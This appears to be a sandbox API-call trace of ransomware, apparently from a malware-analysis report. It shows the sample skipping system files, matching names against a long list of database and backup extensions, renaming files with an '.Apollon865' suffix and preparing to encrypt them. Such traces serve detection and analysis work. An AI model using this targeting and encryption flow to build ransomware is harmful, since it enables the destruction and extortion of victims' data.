	[0053.242] lstrcmpiW (lpString1="url", lpString2="ns4") returned 1
	[0053.242] lstrlenW (lpString="nsf") returned 3
	[0053.242] lstrcmpiW (lpString1="url", lpString2="nsf") returned 1
	[0053.242] lstrlenW (lpString="nv") returned 2
	[0053.242] lstrcmpiW (lpString1="rl", lpString2="nv") returned 1
	[0053.242] lstrlenW (lpString="nv2") returned 3
	[0053.242] lstrcmpiW (lpString1="url", lpString2="nv2") returned 1
	[0053.242] lstrlenW (lpString="nwdb") returned 4
	[0053.242] lstrcmpiW (lpString1=".url", lpString2="nwdb") returned -1
	[0053.242] lstrlenW (lpString="nyf") returned 3
	[0053.242] lstrcmpiW (lpString1="url", lpString2="nyf") returned 1
	[0053.242] lstrlenW (lpString="odb") returned 3
	[0053.242] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0053.242] lstrlenW (lpString="odb") returned 3
	[0053.242] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0053.242] lstrlenW (lpString="oqy") returned 3
	[0053.242] lstrcmpiW (lpString1="url", lpString2="oqy") returned 1
	[0053.242] lstrlenW (lpString="ora") returned 3
	[0053.242] lstrcmpiW (lpString1="url", lpString2="ora") returned 1
	[0053.243] lstrlenW (lpString="orx") returned 3
	[0053.243] lstrcmpiW (lpString1="url", lpString2="orx") returned 1
	[0053.243] lstrlenW (lpString="owc") returned 3
	[0053.243] lstrcmpiW (lpString1="url", lpString2="owc") returned 1
	[0053.243] lstrlenW (lpString="p96") returned 3
	[0053.243] lstrcmpiW (lpString1="url", lpString2="p96") returned 1
	[0053.243] lstrlenW (lpString="p97") returned 3
	[0053.243] lstrcmpiW (lpString1="url", lpString2="p97") returned 1
	[0053.243] lstrlenW (lpString="pan") returned 3
	[0053.243] lstrcmpiW (lpString1="url", lpString2="pan") returned 1
	[0053.243] lstrlenW (lpString="pdb") returned 3
	[0053.243] lstrcmpiW (lpString1="url", lpString2="pdb") returned 1
	[0053.243] lstrlenW (lpString="pdm") returned 3
	[0053.243] lstrcmpiW (lpString1="url", lpString2="pdm") returned 1
	[0053.243] lstrlenW (lpString="pnz") returned 3
	[0053.243] lstrcmpiW (lpString1="url", lpString2="pnz") returned 1
	[0053.243] lstrlenW (lpString="qry") returned 3
	[0053.243] lstrcmpiW (lpString1="url", lpString2="qry") returned 1
	[0053.243] lstrlenW (lpString="qvd") returned 3
	[0053.243] lstrcmpiW (lpString1="url", lpString2="qvd") returned 1
	[0053.243] lstrlenW (lpString="rbf") returned 3
	[0053.243] lstrcmpiW (lpString1="url", lpString2="rbf") returned 1
	[0053.243] lstrlenW (lpString="rctd") returned 4
	[0053.243] lstrcmpiW (lpString1=".url", lpString2="rctd") returned -1
	[0053.243] lstrlenW (lpString="rod") returned 3
	[0053.243] lstrcmpiW (lpString1="url", lpString2="rod") returned 1
	[0053.244] lstrlenW (lpString="rodx") returned 4
	[0053.244] lstrcmpiW (lpString1=".url", lpString2="rodx") returned -1
	[0053.244] lstrlenW (lpString="rpd") returned 3
	[0053.244] lstrcmpiW (lpString1="url", lpString2="rpd") returned 1
	[0053.244] lstrlenW (lpString="rsd") returned 3
	[0053.244] lstrcmpiW (lpString1="url", lpString2="rsd") returned 1
	[0053.244] lstrlenW (lpString="sas7bdat") returned 8
	[0053.244] lstrcmpiW (lpString1="oney.url", lpString2="sas7bdat") returned -1
	[0053.244] lstrlenW (lpString="sbf") returned 3
	[0053.244] lstrcmpiW (lpString1="url", lpString2="sbf") returned 1
	[0053.244] lstrlenW (lpString="scx") returned 3
	[0053.244] lstrcmpiW (lpString1="url", lpString2="scx") returned 1
	[0053.244] lstrlenW (lpString="sdb") returned 3
	[0053.244] lstrcmpiW (lpString1="url", lpString2="sdb") returned 1
	[0053.244] lstrlenW (lpString="sdc") returned 3
	[0053.244] lstrcmpiW (lpString1="url", lpString2="sdc") returned 1
	[0053.244] lstrlenW (lpString="sdf") returned 3
	[0053.244] lstrcmpiW (lpString1="url", lpString2="sdf") returned 1
	[0053.244] lstrlenW (lpString="sis") returned 3
	[0053.244] lstrcmpiW (lpString1="url", lpString2="sis") returned 1
	[0053.244] lstrlenW (lpString="spq") returned 3
	[0053.244] lstrcmpiW (lpString1="url", lpString2="spq") returned 1
	[0053.244] lstrlenW (lpString="te") returned 2
	[0053.244] lstrcmpiW (lpString1="rl", lpString2="te") returned -1
	[0053.244] lstrlenW (lpString="teacher") returned 7
	[0053.244] lstrcmpiW (lpString1="ney.url", lpString2="teacher") returned -1
	[0053.244] lstrlenW (lpString="tmd") returned 3
	[0053.244] lstrcmpiW (lpString1="url", lpString2="tmd") returned 1
	[0053.244] lstrlenW (lpString="tps") returned 3
	[0053.244] lstrcmpiW (lpString1="url", lpString2="tps") returned 1
	[0053.244] lstrlenW (lpString="trc") returned 3
	[0053.244] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0053.244] lstrlenW (lpString="trc") returned 3
	[0053.244] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0053.245] lstrlenW (lpString="trm") returned 3
	[0053.245] lstrcmpiW (lpString1="url", lpString2="trm") returned 1
	[0053.245] lstrlenW (lpString="udb") returned 3
	[0053.245] lstrcmpiW (lpString1="url", lpString2="udb") returned 1
	[0053.245] lstrlenW (lpString="udl") returned 3
	[0053.245] lstrcmpiW (lpString1="url", lpString2="udl") returned 1
	[0053.245] lstrlenW (lpString="usr") returned 3
	[0053.245] lstrcmpiW (lpString1="url", lpString2="usr") returned -1
	[0053.245] lstrlenW (lpString="v12") returned 3
	[0053.245] lstrcmpiW (lpString1="url", lpString2="v12") returned -1
	[0053.245] lstrlenW (lpString="vis") returned 3
	[0053.245] lstrcmpiW (lpString1="url", lpString2="vis") returned -1
	[0053.245] lstrlenW (lpString="vpd") returned 3
	[0053.245] lstrcmpiW (lpString1="url", lpString2="vpd") returned -1
	[0053.245] lstrlenW (lpString="vvv") returned 3
	[0053.245] lstrcmpiW (lpString1="url", lpString2="vvv") returned -1
	[0053.245] lstrlenW (lpString="wdb") returned 3
	[0053.245] lstrcmpiW (lpString1="url", lpString2="wdb") returned -1
	[0053.245] lstrlenW (lpString="wmdb") returned 4
	[0053.245] lstrcmpiW (lpString1=".url", lpString2="wmdb") returned -1
	[0053.245] lstrlenW (lpString="wrk") returned 3
	[0053.245] lstrcmpiW (lpString1="url", lpString2="wrk") returned -1
	[0053.245] lstrlenW (lpString="xdb") returned 3
	[0053.245] lstrcmpiW (lpString1="url", lpString2="xdb") returned -1
	[0053.245] lstrlenW (lpString="xld") returned 3
	[0053.245] lstrcmpiW (lpString1="url", lpString2="xld") returned -1
	[0053.245] lstrlenW (lpString="xmlff") returned 5
	[0053.245] lstrcmpiW (lpString1="y.url", lpString2="xmlff") returned 1
	[0053.245] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url.Apollon865") returned 64
	[0053.245] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn money.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url.Apollon865" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn money.url.apollon865"), dwFlags=0x1) returned 1
	[0053.246] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url.Apollon865" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn money.url.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0053.246] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=133) returned 1
	[0053.246] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0053.246] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0053.246] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0053.246] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0053.247] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0053.247] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0053.247] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0xc0
	[0053.250] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000
	[0053.251] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0053.251] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0053.251] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0053.252] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0053.252] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0053.252] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.252] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.252] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.252] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.252] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5afa60
	[0053.252] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.252] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0053.252] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.252] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0053.252] CloseHandle (hObject=0xc0) returned 1
	[0053.252] CloseHandle (hObject=0x118) returned 1
	[0053.252] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0053.252] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0053.252] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0053.253] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1
	[0053.253] lstrcmpiW (lpString1="MSN Sports.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.253] lstrcmpiW (lpString1="MSN Sports.url", lpString2="Apollon865.txt.exe") returned 1
	[0053.253] lstrcmpiW (lpString1="MSN Sports.url", lpString2=".") returned 1
	[0053.253] lstrcmpiW (lpString1="MSN Sports.url", lpString2="..") returned 1
	[0053.253] lstrcmpiW (lpString1="MSN Sports.url", lpString2="windows") returned -1
	[0053.253] lstrcmpiW (lpString1="MSN Sports.url", lpString2="bootmgr") returned 1
	[0053.253] lstrcmpiW (lpString1="MSN Sports.url", lpString2="temp") returned -1
	[0053.253] lstrcmpiW (lpString1="MSN Sports.url", lpString2="pagefile.sys") returned -1
	[0053.253] lstrcmpiW (lpString1="MSN Sports.url", lpString2="boot") returned 1
	[0053.253] lstrcmpiW (lpString1="MSN Sports.url", lpString2="ids.txt") returned 1
	[0053.253] lstrcmpiW (lpString1="MSN Sports.url", lpString2="ntuser.dat") returned -1
	[0053.253] lstrcmpiW (lpString1="MSN Sports.url", lpString2="perflogs") returned -1
	[0053.253] lstrcmpiW (lpString1="MSN Sports.url", lpString2="MSBuild") returned 1
	[0053.253] lstrlenW (lpString="MSN Sports.url") returned 14
	[0053.253] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url") returned 53
	[0053.253] lstrcpyW (in: lpString1=0x119e658, lpString2="MSN Sports.url" | out: lpString1="MSN Sports.url") returned="MSN Sports.url"
	[0053.253] lstrlenW (lpString="MSN Sports.url") returned 14
	[0053.253] lstrlenW (lpString="Apollon865") returned 10
	[0053.253] lstrcmpiW (lpString1="Sports.url", lpString2="Apollon865") returned 1
	[0053.253] lstrlenW (lpString=".dll") returned 4
	[0053.253] lstrcmpiW (lpString1="MSN Sports.url", lpString2=".dll") returned 1
	[0053.253] lstrlenW (lpString=".lnk") returned 4
	[0053.253] lstrcmpiW (lpString1="MSN Sports.url", lpString2=".lnk") returned 1
	[0053.253] lstrlenW (lpString=".ini") returned 4
	[0053.253] lstrcmpiW (lpString1="MSN Sports.url", lpString2=".ini") returned 1
	[0053.253] lstrlenW (lpString=".sys") returned 4
	[0053.253] lstrcmpiW (lpString1="MSN Sports.url", lpString2=".sys") returned 1
	[0053.253] lstrlenW (lpString="MSN Sports.url") returned 14
	[0053.253] lstrlenW (lpString="bak") returned 3
	[0053.253] lstrcmpiW (lpString1="url", lpString2="bak") returned 1
	[0053.253] lstrlenW (lpString="ba_") returned 3
	[0053.253] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1
	[0053.254] lstrlenW (lpString="dbb") returned 3
	[0053.254] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1
	[0053.254] lstrlenW (lpString="vmdk") returned 4
	[0053.254] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1
	[0053.254] lstrlenW (lpString="rar") returned 3
	[0053.254] lstrcmpiW (lpString1="url", lpString2="rar") returned 1
	[0053.254] lstrlenW (lpString="zip") returned 3
	[0053.254] lstrcmpiW (lpString1="url", lpString2="zip") returned -1
	[0053.254] lstrlenW (lpString="tgz") returned 3
	[0053.254] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1
	[0053.254] lstrlenW (lpString="vbox") returned 4
	[0053.254] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1
	[0053.254] lstrlenW (lpString="vdi") returned 3
	[0053.254] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1
	[0053.254] lstrlenW (lpString="vhd") returned 3
	[0053.254] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1
	[0053.254] lstrlenW (lpString="vhdx") returned 4
	[0053.254] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1
	[0053.254] lstrlenW (lpString="avhd") returned 4
	[0053.254] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1
	[0053.254] lstrlenW (lpString="db") returned 2
	[0053.254] lstrcmpiW (lpString1="rl", lpString2="db") returned 1
	[0053.254] lstrlenW (lpString="db2") returned 3
	[0053.254] lstrcmpiW (lpString1="url", lpString2="db2") returned 1
	[0053.254] lstrlenW (lpString="db3") returned 3
	[0053.254] lstrcmpiW (lpString1="url", lpString2="db3") returned 1
	[0053.254] lstrlenW (lpString="dbf") returned 3
	[0053.254] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1
	[0053.254] lstrlenW (lpString="mdf") returned 3
	[0053.254] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1
	[0053.254] lstrlenW (lpString="mdb") returned 3
	[0053.254] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1
	[0053.254] lstrlenW (lpString="sql") returned 3
	[0053.254] lstrcmpiW (lpString1="url", lpString2="sql") returned 1
	[0053.254] lstrlenW (lpString="sqlite") returned 6
	[0053.255] lstrcmpiW (lpString1="ts.url", lpString2="sqlite") returned 1
	[0053.255] lstrlenW (lpString="sqlite3") returned 7
	[0053.255] lstrcmpiW (lpString1="rts.url", lpString2="sqlite3") returned -1
	[0053.255] lstrlenW (lpString="sqlitedb") returned 8
	[0053.255] lstrcmpiW (lpString1="orts.url", lpString2="sqlitedb") returned -1
	[0053.255] lstrlenW (lpString="xml") returned 3
	[0053.255] lstrcmpiW (lpString1="url", lpString2="xml") returned -1
	[0053.255] lstrlenW (lpString="$er") returned 3
	[0053.255] lstrcmpiW (lpString1="url", lpString2="$er") returned 1
	[0053.255] lstrlenW (lpString="4dd") returned 3
	[0053.255] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1
	[0053.255] lstrlenW (lpString="4dl") returned 3
	[0053.255] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1
	[0053.255] lstrlenW (lpString="^^^") returned 3
	[0053.255] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1
	[0053.255] lstrlenW (lpString="abs") returned 3
	[0053.255] lstrcmpiW (lpString1="url", lpString2="abs") returned 1
	[0053.255] lstrlenW (lpString="abx") returned 3
	[0053.255] lstrcmpiW (lpString1="url", lpString2="abx") returned 1
	[0053.255] lstrlenW (lpString="accdb") returned 5
	[0053.255] lstrcmpiW (lpString1="s.url", lpString2="accdb") returned 1
	[0053.255] lstrlenW (lpString="accdc") returned 5
	[0053.255] lstrcmpiW (lpString1="s.url", lpString2="accdc") returned 1
	[0053.255] lstrlenW (lpString="accde") returned 5
	[0053.255] lstrcmpiW (lpString1="s.url", lpString2="accde") returned 1
	[0053.255] lstrlenW (lpString="accdr") returned 5
	[0053.255] lstrcmpiW (lpString1="s.url", lpString2="accdr") returned 1
	[0053.255] lstrlenW (lpString="accdt") returned 5
	[0053.255] lstrcmpiW (lpString1="s.url", lpString2="accdt") returned 1
	[0053.255] lstrlenW (lpString="accdw") returned 5
	[0053.255] lstrcmpiW (lpString1="s.url", lpString2="accdw") returned 1
	[0053.255] lstrlenW (lpString="accft") returned 5
	[0053.255] lstrcmpiW (lpString1="s.url", lpString2="accft") returned 1
	[0053.255] lstrlenW (lpString="adb") returned 3
	[0053.255] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0053.256] lstrlenW (lpString="adb") returned 3
	[0053.256] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0053.256] lstrlenW (lpString="ade") returned 3
	[0053.256] lstrcmpiW (lpString1="url", lpString2="ade") returned 1
	[0053.256] lstrlenW (lpString="adf") returned 3
	[0053.256] lstrcmpiW (lpString1="url", lpString2="adf") returned 1
	[0053.256] lstrlenW (lpString="adn") returned 3
	[0053.256] lstrcmpiW (lpString1="url", lpString2="adn") returned 1
	[0053.256] lstrlenW (lpString="adp") returned 3
	[0053.256] lstrcmpiW (lpString1="url", lpString2="adp") returned 1
	[0053.256] lstrlenW (lpString="alf") returned 3
	[0053.256] lstrcmpiW (lpString1="url", lpString2="alf") returned 1
	[0053.256] lstrlenW (lpString="ask") returned 3
	[0053.256] lstrcmpiW (lpString1="url", lpString2="ask") returned 1
	[0053.256] lstrlenW (lpString="btr") returned 3
	[0053.256] lstrcmpiW (lpString1="url", lpString2="btr") returned 1
	[0053.256] lstrlenW (lpString="cat") returned 3
	[0053.256] lstrcmpiW (lpString1="url", lpString2="cat") returned 1
	[0053.256] lstrlenW (lpString="cdb") returned 3
	[0053.256] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1
	[0053.256] lstrlenW (lpString="ckp") returned 3
	[0053.256] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1
	[0053.256] lstrlenW (lpString="cma") returned 3
	[0053.256] lstrcmpiW (lpString1="url", lpString2="cma") returned 1
	[0053.256] lstrlenW (lpString="cpd") returned 3
	[0053.256] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1
	[0053.256] lstrlenW (lpString="dacpac") returned 6
	[0053.256] lstrcmpiW (lpString1="ts.url", lpString2="dacpac") returned 1
	[0053.256] lstrlenW (lpString="dad") returned 3
	[0053.256] lstrcmpiW (lpString1="url", lpString2="dad") returned 1
	[0053.256] lstrlenW (lpString="dadiagrams") returned 10
	[0053.256] lstrcmpiW (lpString1="Sports.url", lpString2="dadiagrams") returned 1
	[0053.256] lstrlenW (lpString="daschema") returned 8
	[0053.256] lstrcmpiW (lpString1="orts.url", lpString2="daschema") returned 1
	[0053.256] lstrlenW (lpString="db-journal") returned 10
	[0053.257] lstrcmpiW (lpString1="Sports.url", lpString2="db-journal") returned 1
	[0053.257] lstrlenW (lpString="db-shm") returned 6
	[0053.257] lstrcmpiW (lpString1="ts.url", lpString2="db-shm") returned 1
	[0053.257] lstrlenW (lpString="db-wal") returned 6
	[0053.257] lstrcmpiW (lpString1="ts.url", lpString2="db-wal") returned 1
	[0053.257] lstrlenW (lpString="dbc") returned 3
	[0053.257] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1
	[0053.257] lstrlenW (lpString="dbs") returned 3
	[0053.257] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1
	[0053.257] lstrlenW (lpString="dbt") returned 3
	[0053.257] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1
	[0053.257] lstrlenW (lpString="dbv") returned 3
	[0053.257] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1
	[0053.257] lstrlenW (lpString="dbx") returned 3
	[0053.257] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1
	[0053.257] lstrlenW (lpString="dcb") returned 3
	[0053.257] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1
	[0053.257] lstrlenW (lpString="dct") returned 3
	[0053.257] lstrcmpiW (lpString1="url", lpString2="dct") returned 1
	[0053.257] lstrlenW (lpString="dcx") returned 3
	[0053.257] lstrcmpiW (lpString1="url", lpString2="dcx") returned 1
	[0053.257] lstrlenW (lpString="ddl") returned 3
	[0053.257] lstrcmpiW (lpString1="url", lpString2="ddl") returned 1
	[0053.257] lstrlenW (lpString="dlis") returned 4
	[0053.257] lstrcmpiW (lpString1=".url", lpString2="dlis") returned -1
	[0053.257] lstrlenW (lpString="dp1") returned 3
	[0053.257] lstrcmpiW (lpString1="url", lpString2="dp1") returned 1
	[0053.257] lstrlenW (lpString="dqy") returned 3
	[0053.257] lstrcmpiW (lpString1="url", lpString2="dqy") returned 1
	[0053.257] lstrlenW (lpString="dsk") returned 3
	[0053.257] lstrcmpiW (lpString1="url", lpString2="dsk") returned 1
	[0053.257] lstrlenW (lpString="dsn") returned 3
	[0053.257] lstrcmpiW (lpString1="url", lpString2="dsn") returned 1
	[0053.257] lstrlenW (lpString="dtsx") returned 4
	[0053.258] lstrcmpiW (lpString1=".url", lpString2="dtsx") returned -1
	[0053.258] lstrlenW (lpString="dxl") returned 3
	[0053.258] lstrcmpiW (lpString1="url", lpString2="dxl") returned 1
	[0053.258] lstrlenW (lpString="eco") returned 3
	[0053.258] lstrcmpiW (lpString1="url", lpString2="eco") returned 1
	[0053.258] lstrlenW (lpString="ecx") returned 3
	[0053.258] lstrcmpiW (lpString1="url", lpString2="ecx") returned 1
	[0053.258] lstrlenW (lpString="edb") returned 3
	[0053.258] lstrcmpiW (lpString1="url", lpString2="edb") returned 1
	[0053.258] lstrlenW (lpString="epim") returned 4
	[0053.258] lstrcmpiW (lpString1=".url", lpString2="epim") returned -1
	[0053.258] lstrlenW (lpString="fcd") returned 3
	[0053.258] lstrcmpiW (lpString1="url", lpString2="fcd") returned 1
	[0053.258] lstrlenW (lpString="fdb") returned 3
	[0053.258] lstrcmpiW (lpString1="url", lpString2="fdb") returned 1
	[0053.258] lstrlenW (lpString="fic") returned 3
	[0053.258] lstrcmpiW (lpString1="url", lpString2="fic") returned 1
	[0053.258] lstrlenW (lpString="flexolibrary") returned 12
	[0053.258] lstrcmpiW (lpString1="N Sports.url", lpString2="flexolibrary") returned 1
	[0053.258] lstrlenW (lpString="fm5") returned 3
	[0053.258] lstrcmpiW (lpString1="url", lpString2="fm5") returned 1
	[0053.258] lstrlenW (lpString="fmp") returned 3
	[0053.258] lstrcmpiW (lpString1="url", lpString2="fmp") returned 1
	[0053.258] lstrlenW (lpString="fmp12") returned 5
	[0053.258] lstrcmpiW (lpString1="s.url", lpString2="fmp12") returned 1
	[0053.258] lstrlenW (lpString="fmpsl") returned 5
	[0053.258] lstrcmpiW (lpString1="s.url", lpString2="fmpsl") returned 1
	[0053.258] lstrlenW (lpString="fol") returned 3
	[0053.258] lstrcmpiW (lpString1="url", lpString2="fol") returned 1
	[0053.258] lstrlenW (lpString="fp3") returned 3
	[0053.258] lstrcmpiW (lpString1="url", lpString2="fp3") returned 1
	[0053.258] lstrlenW (lpString="fp4") returned 3
	[0053.258] lstrcmpiW (lpString1="url", lpString2="fp4") returned 1
	[0053.259] lstrlenW (lpString="fp5") returned 3
	[0053.259] lstrcmpiW (lpString1="url", lpString2="fp5") returned 1
	[0053.259] lstrlenW (lpString="fp7") returned 3
	[0053.259] lstrcmpiW (lpString1="url", lpString2="fp7") returned 1
	[0053.259] lstrlenW (lpString="fpt") returned 3
	[0053.259] lstrcmpiW (lpString1="url", lpString2="fpt") returned 1
	[0053.259] lstrlenW (lpString="frm") returned 3
	[0053.259] lstrcmpiW (lpString1="url", lpString2="frm") returned 1
	[0053.259] lstrlenW (lpString="gdb") returned 3
	[0053.259] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0053.259] lstrlenW (lpString="gdb") returned 3
	[0053.259] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0053.259] lstrlenW (lpString="grdb") returned 4
	[0053.259] lstrcmpiW (lpString1=".url", lpString2="grdb") returned -1
	[0053.259] lstrlenW (lpString="gwi") returned 3
	[0053.259] lstrcmpiW (lpString1="url", lpString2="gwi") returned 1
	[0053.259] lstrlenW (lpString="hdb") returned 3
	[0053.259] lstrcmpiW (lpString1="url", lpString2="hdb") returned 1
	[0053.259] lstrlenW (lpString="his") returned 3
	[0053.259] lstrcmpiW (lpString1="url", lpString2="his") returned 1
	[0053.259] lstrlenW (lpString="ib") returned 2
	[0053.259] lstrcmpiW (lpString1="rl", lpString2="ib") returned 1
	[0053.259] lstrlenW (lpString="idb") returned 3
	[0053.259] lstrcmpiW (lpString1="url", lpString2="idb") returned 1
	[0053.259] lstrlenW (lpString="ihx") returned 3
	[0053.259] lstrcmpiW (lpString1="url", lpString2="ihx") returned 1
	[0053.259] lstrlenW (lpString="itdb") returned 4
	[0053.259] lstrcmpiW (lpString1=".url", lpString2="itdb") returned -1
	[0053.259] lstrlenW (lpString="itw") returned 3
	[0053.259] lstrcmpiW (lpString1="url", lpString2="itw") returned 1
	[0053.259] lstrlenW (lpString="jet") returned 3
	[0053.259] lstrcmpiW (lpString1="url", lpString2="jet") returned 1
	[0053.259] lstrlenW (lpString="jtx") returned 3
	[0053.259] lstrcmpiW (lpString1="url", lpString2="jtx") returned 1
	[0053.260] lstrlenW (lpString="kdb") returned 3
	[0053.260] lstrcmpiW (lpString1="url", lpString2="kdb") returned 1
	[0053.260] lstrlenW (lpString="kexi") returned 4
	[0053.260] lstrcmpiW (lpString1=".url", lpString2="kexi") returned -1
	[0053.260] lstrlenW (lpString="kexic") returned 5
	[0053.260] lstrcmpiW (lpString1="s.url", lpString2="kexic") returned 1
	[0053.260] lstrlenW (lpString="kexis") returned 5
	[0053.260] lstrcmpiW (lpString1="s.url", lpString2="kexis") returned 1
	[0053.260] lstrlenW (lpString="lgc") returned 3
	[0053.260] lstrcmpiW (lpString1="url", lpString2="lgc") returned 1
	[0053.260] lstrlenW (lpString="lwx") returned 3
	[0053.260] lstrcmpiW (lpString1="url", lpString2="lwx") returned 1
	[0053.260] lstrlenW (lpString="maf") returned 3
	[0053.260] lstrcmpiW (lpString1="url", lpString2="maf") returned 1
	[0053.260] lstrlenW (lpString="maq") returned 3
	[0053.260] lstrcmpiW (lpString1="url", lpString2="maq") returned 1
	[0053.260] lstrlenW (lpString="mar") returned 3
	[0053.260] lstrcmpiW (lpString1="url", lpString2="mar") returned 1
	[0053.260] lstrlenW (lpString="marshal") returned 7
	[0053.260] lstrcmpiW (lpString1="rts.url", lpString2="marshal") returned 1
	[0053.260] lstrlenW (lpString="mas") returned 3
	[0053.260] lstrcmpiW (lpString1="url", lpString2="mas") returned 1
	[0053.260] lstrlenW (lpString="mav") returned 3
	[0053.260] lstrcmpiW (lpString1="url", lpString2="mav") returned 1
	[0053.260] lstrlenW (lpString="maw") returned 3
	[0053.260] lstrcmpiW (lpString1="url", lpString2="maw") returned 1
	[0053.260] lstrlenW (lpString="mdbhtml") returned 7
	[0053.260] lstrcmpiW (lpString1="rts.url", lpString2="mdbhtml") returned 1
	[0053.260] lstrlenW (lpString="mdn") returned 3
	[0053.260] lstrcmpiW (lpString1="url", lpString2="mdn") returned 1
	[0053.260] lstrlenW (lpString="mdt") returned 3
	[0053.260] lstrcmpiW (lpString1="url", lpString2="mdt") returned 1
	[0053.260] lstrlenW (lpString="mfd") returned 3
	[0053.260] lstrcmpiW (lpString1="url", lpString2="mfd") returned 1
